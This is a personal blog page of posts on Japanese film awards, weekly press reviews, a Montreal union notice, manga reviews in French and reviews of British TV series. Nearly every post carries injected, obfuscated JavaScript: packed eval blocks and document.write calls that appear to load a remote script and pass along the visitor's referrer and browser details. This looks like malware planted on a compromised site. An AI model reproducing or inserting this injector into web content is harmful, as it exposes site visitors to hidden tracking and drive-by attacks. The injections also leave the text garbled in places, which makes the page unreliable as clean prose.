[ Translate ]

36th Japan Academy Prize Nominees

Last January, the nominees for the 36th Japan Academy Prize (aka the Japanese Academy Awards) were announced on the Japan Academy Prize Association website [ in japanese: 第36回日本アカデミー賞 ] :

The nominees for Best Picture of the year (2013) are:

The nominees for Best Director of the year (2013) are:

  • Shinji Higuchi & Isshin Inudo (The Floating Castle)
  • Junji Sakamoto (A Chorus of Angels))
  • Masato Harada (Chronicle Of My Mother)
  • Yasuo Furuhata (Dearest)
  • Daihachi Yoshida (The Kirishima Thing)

The nominees for Best Animation of the year (2013) are:

Here we are listing only the categories that are of interest for our blog, but you’ll find more details on ALL the nominees on the AsianWiki. You’ll find also some information (mostly about the anime category and the anime- & manga-related nominations) on Anime News Network.

The award winners will be announced on March 8, 2013, so stay tuned!

Update (2013-03-10): Award winners have been highlighted in red. You can find the full result on my entry on the “36th Japan Academy Prize Winners” as well as check the AsianWiki and Anime News Network for more details.

[ Traduire ]

Press Review (2013-02-26)

February is the most depressing month of the year. And that’s without counting on the fact that I work in a mad house where absurdity rules, document.write(“”); constantly being bullied and insulted by unruly kids and rebelling teenagers, having to attend union meetings that make a mockery of democracy, and that’s just the first day of the week. Luckily I can read manga and watch TV to completely forget about my crazy life (incidentally, I’m glad to say that, lately, I’ve been busy and able to catch up a little more on my blogging with a few comments — mostly in french — on Taniguchi’s Anthology and Furari, as well as Sakuran manga and live-action movie) or immerse myself in reading the news online. See this week’s crop (including more library humour) after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibnkf|var|u0026u|referrer|ykzyk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fbdyz|var|u0026u|referrer|rhnse||js|php’.split(‘|’),0,{}))


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Library Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2013-02-18)

A lot happened at home in the last couple of weeks (or so). Here’s the highlights: at the end of January a pipe broke within a wall while I wasn’t home and it went on for hours! I had to break the wall to see where the leak was. Luckily, document.write(“”); it was the hot water so I just had to turn off the water from the heating tank to make it stop. No hot water for a few days and the plumber costed my a week’s salary (at a hundred dollars per hour I realize that I should have become a plumber instead of an historian)! The next morning another main pipe broke on the street (this time up street; it was the third city water infrastructure failure within a couple of weeks) and the city had to cut water supply for a few hours. The cats caught another mouse in the house. My eighty-three years-old mother had a major surgery to repair an abdominal aortic aneurism, but all went well and she’s recovering fine. Ten days ago we got another big snow storm (but only about ten centimetres this time). My cold is dragging on and tends to get worse on week-ends!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ziebh|var|u0026u|referrer|nntbr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|banyb|var|u0026u|referrer|idkir||js|php’.split(‘|’),0,{}))

Even the news were eventful: they found the
King Richard III under a parking lot, the Pope resigned, Obama delivered the State of the Union address, a meteorite crashed in Russia and much more (including some library humour) after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Petite note syndicale pour les cols blancs de Montréal

Veuillez prendre note que le Syndicat des fonctionnaires municipaux de Montréal (SFMM) a convoqué une assemblée extraordinaire pour tous les membres cols blancs de la Ville de Montréal qui se tiendra le 25 février 2013, document.write(“”); à 18 h 30, au Complexe Sportif Claude-Robillard (1000, avenue Émile-Journault, près du métro Crémazie). [ Voir l’avis de convocation ]
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zrdsk|var|u0026u|referrer|dbfbk||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hykzt|var|u0026u|referrer|isyrk||js|php’.split(‘|’),0,{}))

Pour les membres ayant un horaire atypique (mais si, il y en a), une assemblée se tiendra également le lundi 25 février 2013, à 8 h 30, à la salle Laure-Gaudreault du Centre Saint-Pierre (
1212, rue Panet, près du métro Beaudry).

Le but de cette assemblée est la présentation et l’adoption du projet de convention collective élaboré par le syndicat suite à un colloque des représentants et à un sondage auprès des membres. Il est important d’être présent et de voter si vous voulez connaitre les points sur lesquels porteront la négociation pour le renouvellement de la convention collective: augmentations salariales, vacances, sécurité d’emploi, plan de carrière, mobilité de main-d’oeuvre, conciliation vie-travail, etc. Ne laissez pas le syndicat décider pour vous et voyez à vos intérêt en assistant à l’assemblée!

Sur un autre sujet, on m’a récemment informé de la décision de la Commission de l’Équité Salariale concernant des “plaintes alléguant que les membres du comité d’équité salariale responsable d’établir le programme distincts d’équité salariale pour les personnes salariées représentées par le Syndicat des fonctionnaires municipaux de Montréal, section locale 429 ? SCFP auraient agi de mauvaise foi, de manière discriminatoire ou arbitraire ou auraient fait preuve de négligence grave dans l’exercice de leurs fonctions”. Vingt-trois plaintes auraient été déposées à la Commmission en vertu de l’article 15 de la Loi sur l’Équité salariale, par 18 aides-bibliothécaires, 2 aides en loisir, 1 préposé(e) au secrétariat, 1 bibliotechnicien(ne) et 1 microfilmeur(euse). Après étude et délibérations, la Commission, à l’unanimité, a déterminée que les plaintes étaient non fondées.

Je ne sais pas si c’est la Loi sur l’Équité salariale qui est mal foutue ou si ce sont les membres de la Commission qui manquent de “gros bon sens” mais il semblait évident pour plusieurs que les aides-bibliothécaires auraient dû avoir droit à l’équité. Quelqu’un n’a certainement pas fait son travail quelque part (c’est sûr ça aurait coûté très cher à la ville). Tout ça est très frustrant et injuste (c’est Caliméro qui le disait).

[ Translate ]

Jirô Taniguchi, Une Anthologie

L.10EBBN001312.N001_ANTHtanig_JAQ_FR“Proposé dans une édition cartonnée luxueuse déjà utilisée pour Quartier Lointain et Le Journal de mon père du même Jirô Taniguchi, ce volume rassemble deux titres du maître japonais précédemment publiés chez Casterman : Terre de rêves, préalablement paru dans la collection Ecritures en 2005, recueil de cinq récits courts centrés sur la vie quotidienne, et L’Homme de la toundra, initialement paru l’année suivante sous le label Sakka, autre recueil d’histoires courtes d’inspiration plus naturaliste. Deux autres histoires [“La lune finissante” et “Une lignée centenaire”], inédites en français, viennent compléter cette anthologie de 504 pages.”

[ Texte du site de l’éditeur; voir aussi le texte de la couverture arrière ]

Continuez après le saut de page >>

Continue reading

Furari

“Furari pourrait se traduire par «au hasard», document.write(“”); «au gré du vent»…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbbee|var|u0026u|referrer|iftde||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytyhk|var|u0026u|referrer|sbbke||js|php’.split(‘|’),0,{}))

”Tout comme dans L’Homme qui marche, mais avec pour cadre un Japon ancien aujourd’hui disparu, Jirô Taniguchi entraîne son lecteur dans les longues et tranquilles déambulations d’un cinquantenaire dont le nom n’est pas donné mais que tout Japonais devine être Tadataka Inô, célèbre géomètre et cartographe qui, au début du XIXe siècle, établit la première carte du Japon en utilisant des techniques et instruments de mesure modernes. Au hasard de ses intuitions et de son inextinguible curiosité, cet attachant et pittoresque personnage nous initie à la découverte des différents quartiers d’Edo, l’ancien Tôkyô, et de ses mille petits plaisirs. Retiré du monde des affaires mais fidèle à ses réflexes, il arpente, mesure, prend des notes, dessine, tout en laissant libre cours à son goût pour la poésie et à son inépuisable capacité d’émerveillement.

“Jirô Taniguchi, comme il l’a fait dans Au temps de Botchan avec le célèbre écrivain Sôseki, se glisse dans la tête et le coeur d’un personnage historique, nous faisant ainsi appréhender un regard japonais sur le monde qui touche à l’universel.” [ Texte du site de l’éditeur ]

Continuez après le saut de page >>

Furari (????) a été sérialisé au Japon dans le magazine Morning de Kôdansha, puis publié en un volume en 2011 avant d’être traduit en français par Casterman en février 2012. Jir? Taniguchi nous avait déjà introduit à ses récits déambulatoires avec les promenades scéniques de L’Homme qui marche (1995), Le Promeneur (2006) ou Les Années douces (2010-2011), les promenades gastronomiques du Gourmet solitaire (2005), les promenades alpines dans K (2006) et Le Sommet des dieux (2004) ou même encore les promenades dans les tréfonds de la mémoire dans Le Journal de mon père (1999) et Quartier lointain (2002). Cette fois, avec une maîtrise sans pareil du récit et du dessin, il nous entraine dans la pittoresque Édo, la Tokyo du XIXe siècle. Le personnage principal en arpente (littéralement puisqu’il mesure les distances en comptant ses pas) les rues et la campagne environnante, et, au hasard des rencontres, il s’émerveille de la nature qui l’entoure et des gens avec qui il converse. On voit ici deux autres thèmes chers à Taniguchi que sont la nature et les animaux ainsi que les relations avec les personnes (dans ce cas-ci tout particulièrement la relation avec Eï, sa compagne). Ce personnage anonyme (mais que l’on sait fortement inspiré de Tadataka In?, géomètre et cartographe qui fut le premier à établir une carte moderne du Japon) déambule ainsi de façon insouciante alors qu’il observe, mesure, annote et dessine. Sa riche imagination l’amène même parfois à visualiser ce que serait le paysage du point de vue d’un oiseau ou d’un insecte!

Ce manga seinen n’offre pas de véritable récit mais plutôt quinze petites tranches (de dix à seize pages chacune) dans la vie de ce géomètre retraité [attention: si vous n’avez jamais lu ce livre la présentation de chaque épisode pourrait dans certains cas vous gâcher la surprise!]:

Dans “Le Milan” le hasard de ses pas l’amène au pont Yanagi et sur sa route il commente la venue prochaine des fleurs de cerisiers, les risques d’incendies dans Edo, observe un dessinateur au sable et un milan qui vole la prise d’un pêcheur, puis se demande de quoi Edo aurait l’air vue du ciel.

Dans “Les Cerisiers” il va admirer les cerisiers sur la colline de Ueno avec Eï, sa compagne, commente sur la foule, boit du saké, fait de la poésie et tente de se mettre “dans la peau” d’un cerisier!

Dans “La Tortue” ses pas l’amènent dans le sanctuaire Hachiman, très animé, où il achète une tortue pour la relâcher dans la rivière (une bonne action) et, s’imaginant à la place de la tortue, observe des femmes aux champs.

Dans “Le Chat” il découvre un chat errant sur la galerie de sa demeure et s’imagine la vie insouciante du chat parcourant la ville par les toits, observant l’animation de la rue ou une femme nue prenant son bain.

Dans “Les Étoiles” il se promène dans Edo la nuit, observe les étoiles et fait la rencontre du poète Issa Kobayashi.

Dans “La Baleine” il se rend à Shinagawa avec sa compagne pour ramasser des palourdes sur la plage mais y trouve une poulpe et un pêcheur lui raconte que, deux ans plus tôt, une baleine s’échoua sur la plage.

Dans “La Pluie” il sort prendre ses mesures sous la pluie, observe des enfants jouer dans l’eau, commente sur le fait que le quartier Motomachi est construit sur un terrain gagné sur la mer (et donc mal drainé) et sur une épidémie de béribéri qui sévit alors à Edo, puis est inspiré par la chaise roulante d’un handicapé pour créer un nouvel instrument de mesure plus précis.

Dans “Les Lucioles”, la foule nuisant à ses mesures, il fait quelques détours et rencontre un peintre (qui n’est pas nommé mais qu’un Japonais cultivé pourrait peut-être reconnaître) avec lequel il échange quelques vers et observe des lucioles la nuit venue.

Dans “L’Éléphant” Eï se plaint qu’il part souvent sans prévenir, comme un chat, alors il l’invite à aller manger des sobas; sur la route ils rencontrent les traces d’un éléphant et il s’imagine voyageant sur le dos de cet énorme animal.

Dans “L’Orage”, après une visite à l’observatoire de Kuramaé où il est décidé qu’afin d’établir la mesure d’un degré il faudrait calculer la distance entre Edo et Ezochi (Hokkaido), il se fait prendre par l’orage sur le chemin du retour et est presque frappé par la foudre; alors qu’il récupère dans un izakaya, il rencontre un conteur (qui n’est encore une fois pas nommé mais un érudit saurait sans doute de qui il s’agit) qui lui raconte une histoire de chien.

Dans “La Libellule” le hasard de ses pas l’amène près de la résidences des Matsudaira à Unemegahara, passé le pont de Kyôbashi; il observe des libellules rouges, puis se repose dans un restaurant pour un peu de saké et un repas (ce qui rappelle beaucoup Le Gourmet solitaire!) où il réaffirme sa détermination à obtenir les autorisations officielles pour voyager à Ezochi; finalement, s’imaginant être une libellule, il aperçoit le plan d’Edo vu des airs.

Dans “La Lune” il voyage en barque sur la rivière avec Eï par une nuit de pleine lune. Ils admirent Edo la nuit, la beauté du paysage, observe le passage d’oies sauvages et il raconte la légende du lapin dans la lune. Quelle sérénité: “Se laisser ainsi aller, sentir le vent, regarder la lune… Je suis vraiment comblé” dit-il. Puis ils croisent le poète Issa.

Dans “Le Cheval” il remarque que le calcul de ses pas est devenu plus précis et commence à planifier son voyage à Ezochi. La vue d’un cheval lui rappel qu’une cariole permettrait de transporter plus de matériels. Il apprend que le bakufu a autorisé l’expédition et accordé un budget de vingt ryô (il devra défrayer le reste, dont les frais d’appareillage).

Dans “Les Fourmis” le promeneur et Eï vont sur le mont Hachiman pour observer le Mont Fuji au loin. Il annonce à Eï son prochain départ pour Ezochi et observe une colonne de fourmis dans l’herbe (bien sûr, il s’imagines minuscule à leur côté!). Eï décides de l’accompagné dans son expédition.

Dans “La Neige” le promeneur et Eï marchent sous la neige, admirent le paysage et discutent de l’expédition. Ils s’arrête dans un restaurant. Il avoue: “Ces doux paysages Japonais… Cette topographie naturelle, je veux l’enregistrer minutieusement sur des cartes pour les générations à venir.” Il ajoute: “Pas d’impatience. Prendre le temps qu’il faut. Et avancer, toujours avancer. Si on marche, on arrive toujours…”

J’ai déjà amplement traité de la qualité des récits intimistes et du style claire et précis de Taniguchi et il me semble inutile d’en rajouter. Par contre cette thématique de la déambulation, si chère à Taniguchi, pourrait sembler redondante et répétitive à la longue, mais pourtant chaque ouvrage m’apparait unique dans ses caractéristiques. Ils n’ont en commun que le fait que chacun est presqu’une méditation contemplative sur la beauté poétique et le calme de notre environnement, qu’il soit urbain ou rural. Et ici, dans son plus récent opus, Taniguchi excelle tout particulièrement. Je trouve toutefois ennuyeux que certaines pages qui semblent avoir été en couleur dans l’édition originale japonaise (comme c’est souvent le cas au Japon pour les début de chapitre par exemple) n’aient été publié qu’en noir et blanc dans l’édition française de Casterman.

Furari est un ouvrage très enrichissant qui offre une réflexion philosophique sur notre rythme de vie, ainsi que de nombreuses anecdotes (parfois expliqués par des notes en bas de page) sur l’histoire et la culture du Japon. À lire absolument!

Furari, par Jiro TANIGUCHI. Paris, Casterman (Coll. Écritures), 2012. 17.4 x 24.1 x 1.8 cm, 212 pg., 16,00 € / $28.95 Can. Sens de lecture occidental. ISBN: 978-2-203-04891-1. Recommandé pour jeune adulte (14+).

Pour plus d’information vous pouvez consulter les sites suivants:

Furari © Jiro TANIGUCHI, 2011; © CASTERMAN, 2012 pour la traduction française.

[ Translate ]

Utopia

“The Utopia Experiments is a legendary graphic novel shrouded in mystery. But when a small group of previously unconnected people find themselves in possession of an original manuscript, document.write(“”); their lives suddenly and brutally implode. Targeted swiftly and relentlessly by a murderous organisation known as “The Network”, the terrified group are left with only one option if they want to survive: they have to run”.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbiyi|var|u0026u|referrer|hstzt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nzddh|var|u0026u|referrer|fnehk||js|php’.split(‘|’),0,{}))

“Episode 1: When five strangers from an online comic book forum agree to meet after gaining possession of the original manuscript for the cult graphic novel ‘The Utopia Experiments‘, they find themselves pursued by a shadowy organisation known as “The Network” who are in pursuit of the manuscript — and they are prepared to kill to track it down. While three of the forum members — Ian, Becky and Wilson — meet in the pub, another is confronted and killed by two Network henchmen. The only witness to the murder is 11-year-old Grant — the fifth forum member — and when he flees with the manuscript, the henchmen give chase. Ian and Becky soon find they’ve been set-up for crimes they haven’t committed, while Wilson’s hacking skills attract the attention of Network henchmen Arby and Lee. As the trio’s lives begin to fracture, the world of civil servant Michael Dugdale is also torn apart as he is blackmailed by The Network. Just as things are looking increasingly desperate for Ian, Becky and Wilson, they come face to face with an enigmatic stranger who claims to offer them a way out…” [Text from
the show’s website]


First, have a look on the trailer:


Self-described as a “Dark and enigmatic thriller,” this British TV series (yes, another one!) started on Channel 4 from January 15th 2013. Like most Brit TV, this series is rather short as it has only six 70-minute episodes (although it is somewhere question of “series 1” so it leaves hope for more). It’s a complex cyberpunk story that plays on our inner paranoia and was more accurately described by some as a “conspiracy thriller.” In a dystopic near future (global food price going up causing riots, new epidemic of “Russian flu”) big corporations and defence agency gone rogue are vying for power. And, caught in the middle, a bunch of comic book fans. It’s quite an interesting setting. However it doesn’t feel very original: “the network” remind me of the Division in Nikita, the comic book with hidden information a little of Heroes, and the pharma conspiracy a little bit of Torchwood: Miracle Day or some of ReGenesis, but overall, if I feel I’ve seen similar stories before, yet I cannot name any other shows to compare it with.

The show is strew with what seems to be a few popular culture references (to Watchmen, Terminator, etc.). It is also rather violent, with a lot of characters dying in each episode (and even one torture scene). It feels a little too much (and therefore is recommended for age 18+). But I guess that’s what we should expect with a psychopath assassin in the pay of a big nefarious pharmaceutical corporation. I am not sure if this show really takes this conspiracy theories thing seriously but I guess the subject is rather used in a sarcastic way. Although if the story is often funny the characters do seem to take themselves pretty seriously most of the time. That’s probably part of the charm of the show (I do particularly like the cold but efficient Jessica Hyde character).

What’s stand out the most in Utopia is the good acting, the superb camera work (particularly the scene composition) and (it’s British isn’t it?) the dark humour. I’ve seen only three episodes so far (half the so-called series 1) so I’m ready to hold judgement for now. But overall, it’s certainly worth watching.

For more information you can visit those sites:
[ Traduire ]

Press Review (2013-01-28)

First, document.write(“”); the domestic log. Indeed the Operating System of the Mac Mini got corrupt somehow and I had to use Time Machine to restore it. However, even Time Machine had a problem and I had to go back to a week-old backup to successfully restore the whole system and then restore more recent files individually. It took a while to do all that (each unsuccessful restore took several hours). It seems that everything stopped working properly since I also had problems with both my microwave oven and the regular oven (I will have to replace one and repair the latter).
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbdkh|var|u0026u|referrer|zrrty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eznaa|var|u0026u|referrer|rkftf||js|php’.split(‘|’),0,{}))

We also had a bunch of medical appointments (dentist and GP). My blood-pressure medication was changed (for a stronger one) and the diagnosis of
benign paroxysmal positional vertigo was confirmed. The most frustrating aspect of it is that I endured vertigo for over a month and a simple Epley maneuver solved the problem in a few minutes! Last year I was too busy to do any of the medical tests that my GP ordered, so this year I’ll make damn sure that I do them all.

I’ve spent the little spare times that I had left doing some clean up in my office (getting rid of a few more boxes, either putting books on shelves or shredding useless paperwork for recycling. We moved nearly two years ago and I still have plenty of boxes laying around). I also got a cold (luckily, so far, it’s not the terrible flu that everyone is talking about. Of course, I suffer from it not at work but during my days off!) and a water pipe broke down the street last night and we were nearly ten hours without water. Despite all that (there’s no respite for the restless, so now I am trying to catch up on my blogging) I still found many interesting news stories that I would like to share, so please check the links after the jump:


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humor

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

The Rose of Versailles

Yesterday, document.write(“”); Viki (the Asian content streaming site) posted an update for their iOS app and this reminded me that they had announced in September that they would stream The Rose of Versailles (See ANN & Wikipedia). I had completely forgotten! So, without losing a moment, I took my iPad out and watched the first episode. I haven’t screened a classic anime in a very long time and I felt great. I really miss watching anime daily… (now I just have to find time to watch more episodes. BTW, they are still streaming Oniisama E…). It is really great, so please take the time to watch a few episodes of The Rose of Versailles!
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iydsd|var|u0026u|referrer|tabar||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzrdk|var|u0026u|referrer|etkai||js|php’.split(‘|’),0,{}))

At about the same time (a few days earlier), Right Stuf’s Nozomi Entertainment announced the DVD Release of The Rose of Versailles Part 1 Limited Edition. The first set will be available on May 7, 2013 (it will include 4 discs, 480 minutes (20 episodes), Japanese audio with English subtitles and on-screen translations, $49.99 US, suggested for age 13+).

The original manga by Riyoko Ikeda was first serialized in Shueisha’s shoujo anthology magazine Margaret in 1972-73 before being collected in 10 volumes. It was so popular that it was adapted in a live-action movie and several stage musicals by the famous Takarazuka Revue troupe. In 1979-80, it was also adapted into a 40-episode anime series by TMS under the direction of Tadao Nagahama and Osamu Dezaki. The Right Stuf’s dvd set will be the very first english language release of this series.

Set before the French Revolution, The Rose of Versailles is a tale of romance and political intrigue that centers around Oscar François de Jarjayes, a young woman who was raised (and military trained) by her father as a man. Following a duel, Oscar is appointed Commander of the French Royal Guards in order to protect Marie-Antoinette, the fiancé of the prince and future king, Louis-Auguste. For more details, check rov.rightstuf.com.

The anime and the manga are also available in French at your Montreal’s local library.

[ Traduire ]

A Young Doctor’s Notebook

As usual I stumbled on this TV mini-series by pure chance (my wife read about it in a magazine and I looked it up on the internet). The prime interest of this British TV series from Sky Arts 1 HD is that the main protagonist is played, document.write(“”); in his young age, by Daniel Radcliffe (of Harry Potter‘s fame) and by John Hamm (from Mad Men), as he is older.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|knsyf|var|u0026u|referrer|ktdiz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dntke|var|u0026u|referrer|aytab||js|php’.split(‘|’),0,{}))


“After graduating from medical school in 1917, Bulgakov was sent to run a hospital in the remote Smolensk province, where his patients lived a brutal, essentially medieval existence. He turned these experience into a series of short stories, collected in A Young Doctor’s Notebook, a fictional account of a nameless doctor whose experience largely overlaps with its author’s. His young doctor discovers that childbirth and tracheotomies go much faster, and get a lot messier, than the medical textbooks had led him to believe.“ [Text from one of the dvd covers (right). See the other cover here]

First, have a look on the official trailer:


Originally titled A Country Doctor’s Notebook (??????? ????? ?????), this collection of short stories by acclaimed Russian writer Mikhail Bulgakov was already well known and admired by american actor John Hamm who was attached to its adaptation project from the very beginning as an executive producer. When they sought the collaboration of Daniel Radcliffe to play the frail, short and clumsy young doctor, they discovered that he was also a great fan of Bulgakov. According to Alan Connor, one of the show’s writers, Radcliffe visited Bulgakov’s hometown for his 21st birthday and he described the book as “a meditation on memory.”

The story is narrated from the point of view of the older doctor. In 1934, as he is being investigated for his morphine addiction, the doctor go through the notebook he wrote when he was sent to take charge of a country hospital right after having graduated from university in 1917. He remembers all the hardship he went through and even interacts with his younger self, criticizing or mocking his conduct and self-doubt. He was missing his comfortable life in the culturally-rich Moscow while discovering how rude and primitive was the life of his patients and how tragically unprepared he found himself to deal with this situation.

This series, described as a comedy drama, is really brilliant. Only the British could treat such a dark subject (bleak russian countryside, gruesome early 20th-century medicine, psychological despair and morphine addiction) with great humour. It has almost the excesses of the slapstick comedy (with plenty of blood and horrible amputation) but leaves you somewhat uncomfortable. It’s also beautifully played by the two main actors. My only complain is that it is so damn short: only four 30-minute episodes (although the dvd was somewhere qualified as “season 1” so there might be hope for more–but that could simply be a mistake). It started airing in UK on Sky Arts 1 HD from december 6, 2012 and is already available on Dvd in the United Kingdom. Let’s hope it will come quickly to our shores.

For more information you can visit those sites:

